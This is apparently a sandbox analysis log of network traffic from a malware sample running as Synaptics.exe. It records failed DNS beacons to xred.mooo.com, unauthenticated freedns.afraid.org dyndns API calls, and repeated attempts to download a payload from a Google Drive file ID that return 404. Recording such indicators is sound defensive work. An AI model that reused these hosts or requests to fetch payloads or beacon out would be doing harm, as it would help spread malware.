Nov 15, 2024 11:23:34.683109045 CET	192.168.2.16	1.1.1.1	0x3ded	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:35.561999083 CET	192.168.2.16	1.1.1.1	0xcafa	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:35.575030088 CET	192.168.2.16	1.1.1.1	0x51b7	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:35.974428892 CET	192.168.2.16	1.1.1.1	0xf795	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:41.946686029 CET	192.168.2.16	1.1.1.1	0x16d0	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:46.594997883 CET	192.168.2.16	1.1.1.1	0x4beb	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:36.520792007 CET	192.168.2.16	1.1.1.1	0xe60e	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:37.365261078 CET	192.168.2.16	1.1.1.1	0xc155	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:37.376374006 CET	192.168.2.16	1.1.1.1	0xb0c5	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:43.953967094 CET	192.168.2.16	1.1.1.1	0xab4b	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:48.467972994 CET	192.168.2.16	1.1.1.1	0x529f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:54.158221960 CET	192.168.2.16	1.1.1.1	0xc61b	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 11:23:34.690319061 CET	1.1.1.1	192.168.2.16	0x3ded	No error (0)	docs.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:35.569880009 CET	1.1.1.1	192.168.2.16	0xcafa	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:35.583574057 CET	1.1.1.1	192.168.2.16	0x51b7	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:35.981528997 CET	1.1.1.1	192.168.2.16	0xf795	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:42.092784882 CET	1.1.1.1	192.168.2.16	0x16d0	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:23:46.602283001 CET	1.1.1.1	192.168.2.16	0x4beb	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:36.527861118 CET	1.1.1.1	192.168.2.16	0xe60e	No error (0)	docs.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:37.373271942 CET	1.1.1.1	192.168.2.16	0xc155	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:37.484783888 CET	1.1.1.1	192.168.2.16	0xb0c5	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:39.809583902 CET	1.1.1.1	192.168.2.16	0x867	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 11:24:39.809583902 CET	1.1.1.1	192.168.2.16	0x867	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:43.962208033 CET	1.1.1.1	192.168.2.16	0xab4b	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:48.475939989 CET	1.1.1.1	192.168.2.16	0x529f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2024 11:24:54.165884018 CET	1.1.1.1	192.168.2.16	0xc61b	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49711	69.42.215.252	80	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 11:23:35.589334011 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Nov 15, 2024 11:23:36.267127991 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Nov 2024 10:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49771	69.42.215.252	80	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 11:24:37.490979910 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Nov 15, 2024 11:24:38.184916973 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Nov 2024 10:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:35 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-QUoyw-SYRefUaXLh28c_Qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:35 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-5_QOBuhjeozmoelHqGvsmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49712	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-W-AOprcT7p_Pbn3qqxBdxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49713	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:36 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-15 10:23:37 UTC	1604	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:37 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-ZBjK20AS9MKuj5nNqCSh8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY0ewsfPUJAJfYy5i9ywgFg1OYiYr7jtRJg_COrKbqwA3JdY20BFdNn7iBKglKyNFbWckvhUnvcPRw Server: UploadServer Set-Cookie: NID=519=N9IVbbi_ybLPlL5Ktyomp8O37RR9rhONV7JOpGGGH3MJvuEsW8uL6tAxek_47v5zGYQH0cEaxH2NJH4IYHq-qBw05DF44ia6B50eYng5_PfBZLi1AKtMZPje_9RzC4hJ-lUNz755i8_9aooWMtjFNO3EzyN5FXjyG1fZd5oVw0XASIDEOIZYaVQ; expires=Sat, 17-May-2025 10:23:37 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:37 UTC	1604	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 39 57 6e 70 46 76 65 4a 33 46 4e 65 47 56 46 78 4a 67 37 67 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="G9WnpFveJ3FNeGVFxJg7gQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-11-15 10:23:37 UTC	48	IN	Data Raw: 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49715	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:36 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-15 10:23:37 UTC	1605	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:37 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-nTAq9O8OHHH-Y6TnIKwMvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY2fW3bYTSVwIHWWemZ939OGliQeUXi8HENLYOyY9pdIlHwjbNbCYmIrrxznO7L0AOshtfrl8rhCNw Server: UploadServer Set-Cookie: NID=519=SEIp9Ft1pM_DTSp4ZWAE2JXd5p6vYnOenYasNDVud7Yu6_XlLVZWsdgqTMAV0WJp8gbHLzac7m-O074jzZozfmgMpTLCdPEbll-92cpDhan5otbZ5vTSOiiwCIw1pFCy9i0rkRERXyoZZbduoCGvMnLGpGFYBf-d6w_ZXbzQtTOeATiGU0dEJLQO; expires=Sat, 17-May-2025 10:23:37 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:37 UTC	1605	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 4a 53 73 52 55 7a 68 54 66 52 5f 32 36 73 70 72 71 66 75 75 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cJSsRUzhTfR_26sprqfuuw">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-11-15 10:23:37 UTC	47	IN	Data Raw: 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49714	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KP04WmiwJAAWjfxFzXnhxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49719	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:38 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-x7d1QdRDcDPCBoErUgzxjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49720	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:38 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XP08VVs4RfPDeN6ZVXqOkg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49721	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:38 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-15 10:23:38 UTC	1597	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:38 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-KID8Bmmfkos1AQa7FbFDIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC6aod1xvXH4RJbmt60hFaE47qEFTrppxOCXzSxyUAb1LHVbPTK9iq5HL-vp3kAuyfuN130 Server: UploadServer Set-Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14; expires=Sat, 17-May-2025 10:23:38 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
